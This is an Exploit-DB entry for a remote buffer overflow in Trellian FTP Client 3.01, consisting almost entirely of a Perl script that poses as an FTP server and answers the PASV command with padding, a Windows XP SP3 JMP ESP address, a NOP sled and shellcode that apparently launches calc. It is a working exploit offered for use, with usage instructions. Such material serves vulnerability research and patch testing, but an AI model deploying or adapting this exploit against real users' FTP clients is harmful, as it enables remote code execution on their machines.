Exploit-DB #12152
Description: Trellian FTP Client - PASV Buffer Overflow
Type: remote
Platform: windows
Date: 2010-04-11
Author: zombiefx

Exploit:
# Exploit Title: Trellian FTP Client PASV BOF exploit
# Date: 2010-04-11
# Author: zombiefx
# Software Link: http://www.trellian.com/bin/lu/dl/TrellianFTP.exe
# Version: Trellian FTP Client v 3.01
# Tested on: Windows XP SP3
# Usage: ./ftpserver.pl
# Acts as a fake ftp server that passes the vulnerable PASV command when a clients connects.
# Code:
#!/usr/bin/perl
use warnings;
use strict;
use IO::Socket;
my $ftpsock =
  new IO::Socket::INET( LocalPort => '21', Proto => 'tcp', Listen => '1' )
  or die "Socket Not Created $!\n";
print"#############################################################\n"
   . "#          Trellian FTP Client PASV BOF exploit             #\n"
   . "#          Author:zombiefx                                  #\n"
   . "#          Greetz to: corelanc0d3r/Dino Dai Zovi            #\n"
   . "#          http://pentest.cryptocity.net/exploitation/      #\n"
   . "#          http://www.corelan.be:8800                       #\n"
   . "#############################################################\n";
my $junk   = "\x41" x 200;
my $jmpesp = pack( 'V',0x7E429353 ); #oops
my $nops   = "\x90" x 50;
my $calcshell =
    "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49"
  . "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
  . "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
  . "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
  . "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
  . "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47"
  . "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c"
  . "\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a"
  . "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50"
  . "\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43"
  . "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a"
  . "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c"
  . "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44"
  . "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c"
  . "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47"
  . "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50"
  . "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44"
  . "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43"
  . "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42"
  . "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b"
  . "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45"
  . "\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

while ( my $data = $ftpsock->accept() ) {
    print "Client Connected!\nAwaiting Ftp commands: \n";
    print $data "220 Welcome ;)!\r\n";
    while (<$data>) {
        print;
        print $data "331 Anonymous access allowed,send e-mail as password.\r\n" if (/USER/i);
        print $data "230-Welcome to the EVIL server\n230 User logged in.\r\n" if (/PASS/i);
        print $data "257 \"/\" is current directory.\r\n" if (/PWD/gis);
        print $data "227 Entering Passive Mode (".$junk.$jmpesp.$nops.$calcshell.").\r\n" if (/PASV/i);
        print $data "150 Here comes the directory listing.\r\n226 Directory send OK.\r\n" if (/LIST/i);
    }
}